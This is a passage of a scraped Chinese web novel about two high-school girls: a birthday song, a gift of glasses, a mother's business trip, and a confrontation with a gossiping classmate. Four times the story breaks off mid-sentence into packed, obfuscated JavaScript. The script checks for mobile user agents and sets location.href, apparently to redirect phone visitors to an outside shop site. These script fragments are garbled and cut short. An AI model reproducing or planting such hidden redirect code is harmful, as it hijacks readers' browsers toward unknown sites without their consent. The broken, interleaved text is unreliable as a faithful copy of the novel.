p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988996|193676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字,没有专门了解过……好像是室女座?” “不是。”顾宁越笑着把右手握着的奶茶递给她,“给你,你的星座应该是这个。” 苏晴眉双手捧着温热的奶茶,纸盒包装上印着一个盛满星星的天平。 她问:“是这个吗?” 顾宁越给她肯定的答案:“是,9月23号到10月23号都是。” 苏晴眉惊讶地张开嘴巴:“你怎么知道?” 顾宁越弯起嘴角:“我——” 空气里流淌着校园广播的声音:“今天是9月29日,你好,高二五班的苏晴眉同学。你的好朋友,高二五班——” 流畅悦耳的播音声忽然停顿,很快又接上,不过声线跟先前相比明显有些滞涩,播音员似乎遇到了什么突发状况,非常仓促地念完余下的内容:“高二五班的顾宁越为你点了一首歌,一首《看得最远的地方》送给你,祝你生日快乐。” 艺术楼播音室里,崔屿茉操作设备切换到歌曲。 刚加入播音组的高一新生上前关心:“组长你没事吧,刚才怎么了?需要换我来吗?” “不用。”崔屿茉把播音稿的一角捏得发皱,“今天的稿子怎么没有提前交给我审?” “今天是通讯组的乔梦灵学姐审的。组长,有什么问题吗?” 崔屿茉攥紧手心的纸张,眼底的光点熄灭,晦暗不明。 怎么,她崔屿茉的生日蛋糕可以当着全班的面扔,那个村姑的生日就要全校陪着听歌是吧? 顾宁越,你是真的疯了。希望有朝一日,你不要后悔。 崔屿茉扯了扯嘴角,朝学妹挂上微笑:“以后,每天的播音稿都必须交给我亲自审核。” 校园的每一个角落都响着歌曲昂扬的旋律。 ——「我要去看得最远的地方 和你手舞足蹈聊梦想 像从来没有失过望受过伤 还相信敢飞就有天空那样。」 后校门到操场的道路两旁,银杏渐渐金黄,清风吹过,采撷两片落叶飘到路过的人身上。 苏晴眉拿着温暖的奶茶,纯净的脸上绽开灿烂的笑颜。 顾宁越轻轻拂去落在她发顶的金色叶子:“生日快乐,苏。” 16. 第 16 章 广播的歌声响着,悠扬的旋律和励志的歌词振奋人心。 苏晴眉在动听的歌声里说:“谢谢你顾宁越,我第一次收到生日礼物,以前我在十里镇读书的时候,过生日只有妈妈给我煮的长寿面和红蛋。” 顾宁越温和地笑道:“这个广播点歌不是生日礼物,只是祝贺,我准备的礼物过几天才能给你。” “还有?!”苏晴眉抖了抖睫毛,“这首歌已经是很好的礼物了,我不要其它的了。” 顾宁越笑着伸出手,掰下粘在奶茶盒子上的吸管,给她:“我都准备好了,花了好多功夫,你忍心让我精心准备的一切付诸东流啊?到时候你就知道礼物是什么了,你绝对能用得上。好啦,你快尝尝奶茶味道好喝吗。” “唔……好。”苏晴眉插好吸管,喝了一大口,眼里亮起光,“好喝。” 顾宁越笑了笑,也拿起奶茶喝了一口。 她们在人来人往的路上慢慢走。 苏晴眉端详奶茶盒上属于她的星座图案,又偷偷看顾宁越手里的:“你那个好像是螃蟹座?” 顾宁越举起盒子给她看图案:“巨蟹座,我妈妈是这个星座。” 苏晴眉抬起眼:“那你呢?” 顾宁越弯曲手指模仿爪子:“狮子。” 走过体育馆,前方的操场传来打篮球的声音。 顾宁越望过去,刚好有人进了球,一片欢呼。 耳边响起苏晴眉的话音:“你还没告诉我你是怎么知道我生日的。” 顾宁越看向她:“我们去医务室那天,我在医生的电脑上看到了你的个人信息,有你的生日。” “噢……” “只有你知道我的生日,有点不公平。” “那我告诉你我的,可以算公平吗?” 苏晴眉点头。 于是顾宁越跟她说了自己的生日,苏晴眉的表情和背书的时候一样认真,好像高考要考似的。 一个小小的星座奶茶,因为是时下学校里流行的话题,轻松地破开了阻隔交流的薄冰。 苏晴眉拿着奶茶走进教室,有个从没跟她说过话的同学主动问她:“苏晴眉,你奶茶上是什么星座?” 有过彩纸笔袋那次的经验,苏晴眉已经能够大方自然地和陌生的同学交谈:“天秤,刚好是我的星座。” 同学羡慕道:“哇噻你也太幸运了吧!后校门还是操场旁边买的?还有白羊吗?” 苏晴眉抿唇,悄悄地用眼神向顾宁越求助,顾宁越对她点了下头。 苏晴眉当即理解了顾宁越的意思,回答那位同学:“在后校门,还有白羊。” “谢谢!”同学急忙套上校服,起身,“太好了,一定还要有啊。” 又有两个喜欢星座的同学凑过来,跟苏晴眉聊了几句,其中一个惊叹:“苏晴眉,没想到你聊天还挺好玩的。” 苏晴眉不好意思地微微低头:“和你们聊天也很有趣。” 三个人一同露出会心的笑容。 顾宁越坐在一旁看着她们,也不禁弯起嘴角。 不论是读书的时代,还是工作的时代,大部分人都会因为共同的话题聚在一起,相互了解,寻找共鸣,有些成年人为了更好地融入社会还特意戴上社交面具追逐主流,生怕掉队,生怕因为不合群而被视作异类,一个热点新闻,一部爆款电影,一种网红零食……太多太多,它们化作了一些社交面具的装饰,也构成了个体交流的桥梁。 如果说陌生会产生隔阂,那么“共同话题”则能破除偏见的冰层。 顾宁越喜欢苏晴眉的笑脸,希望她能永远像今天这么开心,像山野上迎风舞蹈的花儿,翩翩自乐,一遇阳光整个世界都是幸福的色彩。 * 盼星星盼月亮,全体师生终于把一年一度的国庆黄金周盼来了。 顾宁越回到家里先把书包放一边,躺在沙发上看了会电视才把书包提上楼,到小书房整理假期的作业。 顾巍过了会也回来了。 她在二楼找到顾宁越,十分欣慰:“我的女儿怎么这么勤奋,刚放假就又开始学习。” “妈,你回来啦。”顾宁越回头看她,笑出声,“我才没有那么刻苦呢,我只是看看作业几天能写完。” 顾巍向来尊重女儿的隐私,站在房间门外跟她说话:“学习生活那么紧张,你好不容易有个假能休息,先玩两天再写作业也不迟。” “还是寒假再玩吧,我怕国庆几天玩疯了收不了心,先老老实实待着,不然成绩又掉一大截。”顾宁越想到第一次周考的多科滑铁卢就郁闷。 顾巍换上神秘的笑容,小声问她:“诶,越越,你这回月考进步很大哦,想要什么奖励?” 顾宁越根本不好意思提这茬:“妈,进步大是因为周考的时候退步很大,我这一退一进回到原点,等于无。” “可是人怎么可能永远不犯错,一直保持高水平呢?”顾巍朝她走近一步,“你能从周考里分析出问题,并且在月考前很好地解决掉它,这个应对能力比一次好成绩更有意义。” 顾宁越略作思考,赞同母亲的这个观点。 总之自己的想法传达到了,没必要一而再再而三地驳母亲的好意,顾宁越结合上辈子了解到的教育和就业信息差,整合最近的思路,说出了她想要的奖励:“妈妈,我想请个家教。” “啊?家教?”顾巍的反应很惊讶,不过不是因为她不想请,而是诧异女儿对补习的态度发生了一百八十度的大转变。 “你以前不是不喜欢补课?高一补课也是因为崔屿茉在补,你要跟她一起,这学期你说不去就没补了。你想补哪几科?现在请家教的话……我得找几个懂行的朋友推荐老师。” “妈,我想自己找家教老师。” 顾巍即使很信任女儿,但顾宁越毕竟还没成年,选老师这方面她还是不放心:“越越,你年纪还小,我不能让你做这么重要的决定,除非你有充分正确的理由说服我。” 顾宁越打开电脑,调出收藏夹里的资料,有一些新兴理念的教育新闻,有全国发达地区的名校公开网课,有今年教育部和就业指导厅发布的文件,等等。 顾宁越还做了一份汇总分析PPT,用图表统计各省和本省各市的升学率,就业率,以及各学科教材和考点的变化趋势,包括根据近年国内外经济形势推测的行业发展走向,综合分析专业及对应学科的关联。 顾巍仔细地阅读资料,眼神一变再变,看到PPT的时候内心的震惊再也按捺不住。 “越越,你从哪找到这些资料的?你怎么想到收集这些的呢?” “现在已经进入信息化时代,这也是未来的发展趋势,只要掌握好信息技术就能获取更多资料。” “这个PPT做得真好。”顾巍目光惊艳,一张一张翻着幻灯片。 十几年后,做一手漂亮的PPT和能看懂分析数据是职场人的基本技能,顾宁越上辈子为了挣更多的钱支持崔屿茉的明星梦,在商界拼得头破血流,哪怕她再不喜欢做生意,再不擅长人情世故,也靠遍体伤痕积攒下了一身本领。 顾宁越的话语熟稔,稳重:“妈,我是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988997|193676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样想的,我不想坐井观天,既然有途径有经费,要学就学有规划的,前沿的。你看我们岚江省各个市的升学率,桐溪排的比较靠后,而且岚江省的资源放在全国来看不占优势……” 顾宁越和顾巍交流了半个多小时。 在丰富的数据和理性的逻辑面前,顾巍被说动了。 她揉一揉女儿的头发,对着电脑里翔实的资料感慨:“我本来想的是,术业有专攻,专业的事就交给专业的人去做,教育行业里的朋友肯定能推荐好老师。但你说得对,现在是信息化时代,我们的社会正在发生前所未有的巨大改变,这里面有很多机会,最关键的是要有一双锐利的眼睛,抓住革新,跟上潮流。越越,你有自己的思考和判断,妈妈很高兴。如果你真能找到你说的那种见多识广,掌握了科学的学习方法,还有一定人脉和资源的老师,妈妈支持你,一定会帮你请到她。” 顾宁越抱住她:“谢谢妈妈,我爱你。” “我也爱你,宝贝。” 顾巍心情很好,正巧今晚有空,亲自下厨给女儿做晚餐,顾宁越请缨帮她打下手。 “煮个火锅吧,怎么样?” “好!冰柜里还有肥牛和虾滑。” “嗯呢,我把土豆和萝卜切了。哦对了,越越,江州有个新的综合商业体落地了,我要和几个合作伙伴去考察,暂定去三天吧,你一个人在家注意安全哦。” 顾宁越站在一边洗青菜:“知道了。” 她回忆上辈子的经历,加上前两周在网上查的资料,建议顾巍:“妈,你去江州顺便去东部老厂区看看吧,我在论坛看到有人透露那边要重新规划,可能要拆。” 其实根本没人透露,这种消息都是封死了的,只不过顾宁越有前世的记忆优势,这个时间点江州的老厂区还是脏乱差,房价低到谷底都没人肯买,但它即将被规划成发展新区,六年后市政搬到新区,形成江州新的经济文化中心,抓住机遇发展的人都收获颇丰。 顾巍愣了愣:“真的?” 顾宁越万分笃定:“你经常去江州考察不就是想去省会发展吗,这次老厂区整改是个百年难遇的机会,那片老厂占地面积那么大,因为迁工难度大江州一直没动,现在新班子上台终于要把地挪出来了,又有三条计划中的地铁线交汇,妈,你去那边看看绝对不吃亏。” 顾巍毫不犹豫地答应了:“好,那我考察完就去那看看。” 顾宁越打翻手里的碗,乐道:“我说的这个你马上就信了啊?” 顾巍坦诚:“因为刚才你已经用请家教的事证明了你的严谨性和说服力,妈妈当然相信你,再说了,反正都去江州了,我去看看老厂区是不吃亏呀~哎哎,水开了,越越把底料放锅里。” “好嘞。” 顾宁越找了部电影,娘俩乐呵呵地边看边吃。 国庆节第二天顾巍就去江州了。 早上七点,顾宁越强忍着困意起床,赶公交车到桐溪实中。 因为是国庆长假,很多住校生都回家了,所以校门口比较冷清,早餐摊子都基本没有顾客。 顾宁越买了两份全家福鸡蛋灌饼和两杯红枣豆浆,快步走去宿舍楼。 她走到305寝室,一个瘦小的背影坐在书桌前,房间里回响着朗朗的背书声。 “苏晴眉!” 背书的人蓦然回头:“顾宁越!你怎么来了?” “我有礼物要给你。” 顾宁越小跑过去,带着室外冷风的味道,把热腾腾的灌饼塞进她怀里,拉起她的手。 “跟我走。” 17. 第 17 章 苏晴眉站在公交车站的站牌下吃鸡蛋灌饼。 “我们去哪儿?” 顾宁越也咬了一口灌饼:“光悦。” “啊?”苏晴眉放下装饼的口袋。 顾宁越给她豆浆:“要喝吗?” 苏晴眉摇头:“我们去那么远?” 顾宁越知道她不想浪费学习的时间:“放假嘛,而且我带了这个。” 顾宁越从斜挎包里拿出一个小巧的电子机器和一卷有线耳机。 苏晴眉认得耳机,指着那个白色的小方块,问:“这是什么?” “随身听。” “我在镇里的市场看到过卖这个。”苏晴眉找到了一点熟悉的感觉,人也精神起来,“现在的智能手机也能听音乐,镇里就把原来卖随身听的柜子换成智能手机了。” “嗯,都可以听,我觉得这个的音质更好一点。” 顾宁越打开随身听,分给苏晴眉一只耳机:“你听听。” 苏晴眉好奇地戴上耳机,眼瞳闪烁光点,扬起脸对顾宁越笑道:“听力练习!” “对,我把这学期的听力资料都下载好了。”顾宁越指一指苏晴眉抱在怀里的布包,“待会我们在车上听听力,你就别看书了,伤眼睛。” 苏晴眉不好意思地低头:“好。” 清晨的公交车上没有多少人,很安静。 顾宁越和苏晴眉分别戴着一边耳机,边听英语边望着车窗外的风景。 尽管顾宁越在桐溪市出生长大,但是十多年的时间跨度让她对一路的景色感到陌生,很多被她遗忘在时光里的事物纷纷浮现,少年宫,俱乐部,农贸市场门口的油条铺子,大喇叭循环播放着最后一天大甩卖的地摊公园……故地重游,所有人都和以前一样,只有她是年轻的皮囊装着陈旧的魂魄。 公交车驶过跨河大桥,从老城区到新城区,周围的建筑风格明显更现代化,宽阔的柏油马路,高楼林立,一眼望去都是无色的透明窗户,再也看不到老城区标志性的蓝色玻璃。 苏晴眉被新城区的风景吸引,她不知不觉地转向车窗的方向,连耳机掉了都没发现。 苏晴眉看到重重高楼外矗立着一座格外高大的建筑,它不像普通大厦是规则的方形,而是带有一定弧度的独特造型,顶部还立着一个半球形塔尖,在一片单调的高楼中显得特别时髦。 她指着那座建筑说:“顾宁越,它好漂亮。” 顾宁越循着她的目光看去,扬唇:“那就是光悦。” 光悦时尚购物中心,她的母亲耗费半生心血经营的事业。 光悦中心的公交车站设在光悦广场的附近,顾宁越和苏晴眉下车,广场上的音乐喷泉正随着乐曲喷涌水柱,苏晴眉惊奇地看了一会,跟顾宁越走向商场,宽敞的入口拉着“欢度国庆”的横幅。 因为国庆佳节,上午商场里都有不少人。 苏晴眉看什么都新鲜,贴着汉堡海报的快餐店,琳琅满目的珠宝专柜,各式各样的服装品牌店,观光电梯旁还竖着大幅的电影宣传板……这一切和白蔹村的山野农田简直是两个世界,这样现代繁华的景色她只在电视里看过,没想到现在竟能身处其中,看到,听到,闻到,触到,仿佛做梦一般。 苏晴眉走得很慢,不愿意错过任何一个新奇的景致,顾宁越也把脚步放得很慢,边走边跟她介绍商场里的布局。 顾宁越带她走到二楼的一家店铺。 店里的灯光开得很亮,干净的玻璃柜台里整齐的陈列着一副副眼镜,半框的,全框的,方形框的,圆形框的,复古的,新潮的,各种款式应有尽有。 顾宁越走进去,苏晴眉站在店外迟疑,顾宁越回头轻轻拉了她一下,苏晴眉回过神,急忙跟上她的脚步。 “欢迎光临,两位是新配眼镜还是选配件?”一名导购上前招呼她们。 苏晴眉下意识地停住脚,站在顾宁越后面,顾宁越说:“你好,我找你们的黄经理,她跟我说好了有一个vip活动。” “好的,请稍等。” 苏晴眉呆呆地立在展柜旁边,像只小企鹅。 她实在太可爱了,顾宁越忍不住弯起嘴角,拉一拉她的袖子,和她一起坐到沙发上。 黄经理端了两杯热水过来,还叫导购拿了一篮子糖果饼干。 “宁越你来啦,我就等着你呢,验光室早就准备好了。你妈妈好像去江州了?” “对。黄阿姨,这是我的好朋友,苏晴眉。” 黄经理笑吟吟地抓了一把糖给苏晴眉:“你好呀晴眉,一看就是学习成绩特别好。” 苏晴眉紧张地忽闪睫毛:“没有……谢谢阿姨。” “不要太谦虚哟。晴眉,我们店里正在做商场的国庆vip反馈活动,宁越的商场积分能兑换我们店的一副眼镜和一次配镜服务,但是宁越不戴眼镜,这个积分国庆结束就清零了,不能浪费呀,所以宁越跟我说带一个朋友过来,给你配一副新眼镜。” 苏晴眉诧异地看向坐在身边的人,顾宁越微笑道:“这是我送你的生日礼物,虽然迟了几天,但是希望能帮你上课看得更清楚。” 苏晴眉的眼眶泛出红色,鼻头也红红的,她吸了吸鼻子,带着鼻音说:“顾宁越,谢谢你。” “如果把我当真朋友,就别跟我客气。”顾宁越说着,让她看黄经理递来的册子,“来看看眼镜。” 黄经理把产品宣传册在玻璃桌上摊开,面朝苏晴眉,一页一页为她讲解:“先跟你介绍我们家的镜片和工艺……这些是现在的年轻女孩最喜欢的款式……我们先去做视力检测,再慢慢选镜框。” “好的。”苏晴眉没配过眼镜,不知道流程,乖乖地跟着黄经理去验光,好像企鹅宝宝紧紧跟在保育员身后。 顾宁越坐在沙发看手机。 顾巍发消息说她到考察地点了,拍了几张江州NHL商业新区的照片过来,这是江州的第一个开放式商业街区,里面除了各种国际奢侈和新锐品牌,最引人瞩目的是街区的设计和独特的艺术装置,极大的提升了游客的观感体验。 顾巍:很高级~ 顾宁越:其实这种模式在珠岛和宁海早有了,不过只有很繁荣的城市才能承载得住。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988998|193676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾巍:是的,我们家的生意还得踏踏实实的一步一步来。 顾宁越发了个加油的表情过去。 顾巍:你带同桌配眼镜了吗? 顾宁越:正在配。 顾巍:你买眼镜怎么不跟妈妈说?还是黄经理跟我说我才知道。钱我已经付过了,妈妈不会让你花钱的啊。 顾宁越:谢谢妈妈^o^~[心] 顾巍:乖,跟朋友好好玩,妈妈开会了。 苏晴眉做完检测出来了,黄经理领着她挑选镜框。 顾宁越走过去:“晴眉,有喜欢的吗?” 苏晴眉看着展柜里面:“这几个都很好看。” “那都戴上试试。” “可以吗?” “当然了。” 黄经理立马把展柜里的镜框都拿出来:“当然可以呀。” 她调整好镜框,配上和苏晴眉相近的度数镜片,挨着拿给苏晴眉试戴:“镜子在这边。” 苏晴眉每试一副眼镜就转向顾宁越让她参谋,顾宁越坚持让她自己做决定,苏晴眉最后选了一副低调的细黑框。 黄经理报了加急,下午就能配好,还配了一个软皮眼镜包和一套保养用品。 等待的时间里,顾宁越带苏晴眉到书店点了两杯饮料,坐在靠窗的卡座看书。 苏晴眉把包里的作业拿出来写,顾宁越在书店里逛了会,拿了几本书过来。 “晴眉。”顾宁越轻声唤她,把一本彩色的书推过去。 苏晴眉抬起头,看到封皮上可爱的卡通形象笑起来:“红狐狸。” 顾宁越指着绘本上的名字说:“阿狸。” 苏晴眉说像她家里以前的一只小狗。 顾宁越之前想带绘本到学校给苏晴眉看,结果一时忙忘了,幸好在书店里想了起来。 苏晴眉第一次看绘本,每一页都看得很仔细。 她说绘本的画很梦幻,很美,希望她家里的小狗们也能去到这么美的天堂。 这一次,顾宁越终于能接住苏晴眉的情绪了。 她温和又坚定地告诉苏晴眉:“一定会的。” 顾宁越忽然明白了,对于隐藏了伤痕的苏晴眉来说,需要的不是安慰,而是希望。 向前看,只要有光,无论多么黑暗的过往都能走出来。 下午三点过,眼镜配好了。 头顶灯光明亮,苏晴眉戴上眼镜,世界刹那间变得无比清晰,她第一时间看向顾宁越,看到她温暖的笑脸。 苏晴眉才发现顾宁越的眉眼是那么精致,鼻梁高挺,嘴唇饱满红润,连唇上细腻的纹理都看得清清楚楚。 她把她看得那样清晰。 连两个人的距离仿佛都拉近了。 好像她就在她跟前,一抬头就能触碰…… 顾宁越对她招手:“晴眉,戴上眼镜感觉怎么样?” 苏晴眉猛地转头看向镜子里:“看得特别清楚。” “太好了。” 苏晴眉悄悄看着镜中的顾宁越,内心滋味纷杂,像是含了一颗话梅,又甜又酸。 18. 第 18 章 女生宿舍305寝室。 洗手台上照进明媚的阳光。 “阴离子表面活性剂……光学镜片使用……” 苏晴眉手里拿着眼镜清洗剂,站在阳台阅读说明书。 她非常小心地佩戴眼镜,只要取下来就及时装进软皮包里,以免眼镜落灰或者碰伤。 苏晴眉读懂洗涤镜片的方法,试着用清洗剂清洁了一次眼镜,用镜布把它擦干,再戴上以后视野更加清晰。 她欣喜地笑弯了眼,有了眼镜她就算坐最后一排也能看清黑板,再也不会因为看不清字来不及做笔记了。 苏晴眉的桌上还放了一本阿狸的绘本和一袋打包的汉堡,都是从光悦带回来的,顾宁越送她到学校门口才坐车回家。 在光悦中心,她第一次吃到夹牛肉饼的汉堡,还有沾番茄酱的薯条,浓郁的香气在口腔和鼻腔里窜来窜去,热气腾腾的很满足,非常好吃。 寝室没有冰箱不能保存食物,苏晴眉虽然很舍不得吃掉中午打包的汉堡,但只能晚饭就把它吃掉。 傍晚到小食光打工。 一进后厨,陶姐就夸道:“小苏,你这眼镜漂亮,一看质量就好。” 苏晴眉说是朋友用商场积分兑换的,陶姐不禁感叹:“那得花多少钱才能攒够积分换这么好的眼镜啊!大商场的东西我不懂,但我家门口的超市我知道,抠门精,攒两年,几大千积分只能换一提纸巾,稍微好点的礼品不是限量就是断货。还是大商场好啊,可惜那是有钱人的地方,我消费不起。” 苏晴眉连普通超市的积分都没接触过,更别说大商场了,她也不懂这些,但她明白顾宁越给她的这份生日礼物弥足珍贵。 架在耳朵上的眼镜腿顿时沉了几分。 苏晴眉在收银台边背单词,有点走神。 她想,如果这副眼镜购买的话需要花多少钱呢? 她在眼镜店里的时候偷偷看了价签,每副眼镜的价格都足以覆盖她一学期的费用,如果没有顾宁越的帮助,她可能这辈子都用不上这么好的眼镜。 顾宁越跟她说过,每个人都有自身天然的价值,她们是朋友,不需要感谢过来感谢过去。 可是苏晴眉就是不想只接受顾宁越的帮助,她得做点什么表示感谢才行。 既然人都有自身的价值,那么除了金钱,一定还有其它能表示感谢的方式…… 晚上在后厨洗马克杯,苏晴眉问正在收拾料理台的陶姐:“假如你很想感谢一个人,但是她什么都不缺,你能做些什么呢?” 陶姐用围裙擦干手,沉思片刻,说:“给人送点老家的特产,我过年前都给我妈的主治医生送自己腌的酱肉。” 苏晴眉受到了启发:“对哦。” 别的不敢说,自家种的蔬菜和药草品质都不错,悄悄拿一点出来应该没问题。 陶姐靠在灶台边,忽的笑出声,说:“还要看那个人是不是大帅哥。” 苏晴眉不理解:“有什么关系?” 陶姐道:“电视小说里面不是总演么,男主救了千金小姐,然后小姐无以为报,只能以身相许。假如我要感谢的是一个帅哥,反正我一直单身,相亲老相不中,我就给他做媳妇算了。” 苏晴眉摆放马克杯的动作呆住。可是她的情况……女生不能以身许女生吧。 陶姐这才想起来面对的是个读高中的小姑娘,立马意识到刚才的话不合适,连忙纠正:“这只是我开玩笑,你千万不能这么想啊,你要好好读书,将来考上大学坐办公室,可不能像我一样没出息,只能在厨房里跟锅碗瓢盆打交道。” 陶姐递给她一条抹布:“好了,厨房打扫完了,你去把餐桌再抹一遍就下班吧。” “好的。” 苏晴眉从餐厅门口的餐桌依次往里抹。 她看到窗外街道的夜景,想起光悦中心的璀璨灯光,还有刚刚戴上眼镜时整个世界突然变得无比清晰。 ——顾宁越的唇瓣好嫩好红。 想象中摸上去很柔软,用拇指压下去会缓慢的回弹。 苏晴眉:“!” 她慌乱地扔开抹布,面向玻璃窗看着自己的镜像,个子矮矮,又黑又瘦,像马戏班里的小猴子。 这很奇怪,很不尊重她最珍贵的朋友。 她不可以产生这种荒谬的想法。 苏晴眉屏住呼吸,别过脸不愿看玻璃里的影子,她走到收银台关闭大堂的灯光,在昏暗之中深深地低下了头。 * 国庆几天苏晴眉都在学习和打工里度过。 苏晴眉给家里去过一次电话问生活费,妈妈说过些天给她寄,叮嘱她一定要节约,在大城市不能乱花钱,读书不要勉强自己,女孩本来就不擅长学习,能读就读,不能读就早点回家,一堆农活等着做呢。 苏晴眉跟母亲说过无数遍,学习无关性别,学校里成绩好的有很多女同学,但是母亲这次说知道了,下次又会讲同样糟心的话,苏晴眉便明白跟她讲这些道理是没用的。 等生活费寄到了,苏晴眉就把班费的钱还给顾宁越。 星期天,住校生返校上晚自习。 苏晴眉戴着眼镜看黑板上的字,果然非常清楚,甚至还能看见宣传栏上贴的通知标题。 自从顾宁越成为她同桌后,邻座的同学跟苏晴眉的交流也多了起来。 苏晴眉的前桌也戴眼镜,注意到她的变化,转过身来跟她聊天:“苏晴眉,你戴眼镜啦,你多少度?” 苏晴眉想了想黄经理跟告诉她的,答道:“左眼三百多,右眼两百。” “比我好,我都快四百了,我爸说我都是玩手机玩的,无语。” 苏晴眉只有一个妈妈淘汰下来的翻盖机,没什么可玩的,平时都是关机状态,她的眼睛是在光线暗的地方看书近视的。 顾宁越放假期间好像练了很多题,问了苏晴眉好几道,有些苏晴眉也不懂的就去问老师。 其实她们平时聊得也不多,现在苏晴眉为了不去想顾宁越的嘴唇尽量把注意力都放在书本上,两个人之间就更安静了。 可能顾宁越以为她在沉迷学习,能不打扰就不打扰,只在课间休息问过她眼镜的效果怎么样,苏晴眉对她笑一下就迅速别开脸,视线绝不多停留半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988999|193676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秒:“很好,我都能看见宣传栏的公告了。” 顾宁越也笑了笑,接着专心看自己的书。 两节晚自习上完,班里有好几个同学发现苏晴眉戴了眼镜。 苏晴眉在卫生间里洗手,两个同学问她的镜片度数,她们聊了会近视手术,还讨论ok镜到底有没有新闻上说的那么有效。 钱丽也在。 她等苏晴眉出了卫生间,跟刚才和苏晴眉一起聊眼镜的同学说:“你们不好奇吗,苏晴眉连班费都拿不出来,要别人帮她交,她怎么买得起宝叇牌的眼镜?” 一个女生奇怪道:“是哦,宝叆眼镜可贵了,最便宜的都卖一千多,我妈都不给我买,我配的眼镜几百块顶天了。” “啊?苏晴眉不是灾区来的家庭比较困难吗?哪来那么多钱?” 钱丽古怪地笑一声:“你们想想,上次班费是谁帮她交的?别以为灾区来的难民就可怜,实际上山里来的狐狸最精了。” 女生惊讶:“你是说,顾宁越给她买的眼镜?” 另一人表情困惑:“苏晴眉让顾宁越给她花钱?不会吧,顾宁越又不是傻的。” 钱丽抱着胸摇头:“啧啧,你们太单纯了。顾宁越第一天来我们寝室,直接送苏晴眉一大盒费列罗,同样是室友,我就什么都没有。后来顾宁越又送她教辅资料,又送她小台灯,又送她卫生巾,你们知道为什么吗?因为人家有手段呀。我跟你们讲,苏晴眉特别讨好顾宁越,每天晚上上赶着给顾宁越讲题,知道顾宁越怕虫,一边帮她赶虫一边可怜兮兮地说自己也害怕,搞得大家都在委屈她一样。苏晴眉在顾宁越面前超级装可怜,她这种人呀,领着国家的补助,学费生活费相当于全免,其他班的灾区转校生都有捐赠的衣服,文具,就她装穷,天天背个破包还要打补丁,装死了。” “我的天哪,看不出来苏晴眉心机这么重哦。” “要不然茉茉讨厌黑妹呢,名媛鉴婊一看一个准。你们还记得吗,上学期黑妹转到我们班没多久,有一周班级纪律扣分很严重,那周的流动红旗就没了,还扣了老郑奖金,听说就是因为她。” “唉,穷山恶水出刁民。” 卫生间的门外,一道人影立在黑暗里。 苏晴眉刚出门就听见钱丽说的话了,直觉告诉她钱丽是故意让她听到的。 她是得到了顾宁越的很多帮助,但她没有向顾宁越要过钱,她也没有装穷,更没有害五班扣分! 苏晴眉双手死死地攥着校服的下摆,咬紧后槽牙,眼睛里泛出屈辱的泪光。 她一个人被冤枉,忍忍就算了,但是她不能让顾宁越受冤枉。 苏晴眉深吸一口气,鼓足勇气要进去找钱丽说理,忽然背后伸过来一只手,稳稳地搭在她的肩头。 “我来。” 苏晴眉回头,走廊上的灯光照在顾宁越棱角分明的面庞。 她穿过门框,走到洗手池旁边,几个女生吓了一跳,赶忙退开。 顾宁越停在钱丽面前,逆着光,影子落在钱丽的脸上。 “老娘的钱爱给谁花给谁花,轮得着你在这胡说八道?” 19. 第 19 章 顾宁越的气势太强,钱丽和另外两个女生愣住,一时说不上话。 卫生间里还有人,她们都看了过来。 顾宁越挡在钱丽前面岿然不动,非得事情说明白,道理辨清楚:“钱丽,你刚才瞎说那么多,在别人面前搬弄是非,无非就是因为你忌恨我给苏晴眉的东西比给你的多。你既想从我这得到好处,又想踩踏苏晴眉满足你那可怜的优越感,把贪婪小人的嘴脸表现得淋漓尽致。你就像阴沟里的臭虫,让我感到恶心。” 钱丽脸色煞白,抻着脖子辩解:“你不要污蔑人,我说的都是事实,你别以为有钱就了不起,你除了仗着老师的偏袒欺负同学,你还会什么?” “那你不要吃我送的零食啊,不要抢我的泡面啊,不要把我新买的保湿霜挖空半瓶啊。” 听到这里,钱丽身旁的两个女生看钱丽的眼神发生了变化,多了一丝鄙夷。 钱丽也察觉到她们的疏离,着急证明自己的无辜,声音陡然放大,但是气息却越来越弱:“你颠倒是非,是你答应给我了我才用的。” 顾宁越问:“哦,你前面说我只给苏晴眉好东西不给你,现在又说是我让你用我的护肤品。请问我是精神分裂了吗,前后劈成两个人?你听听你说的话,左右脑互搏。” 钱丽说不过顾宁越,把矛头指向她身后的苏晴眉。 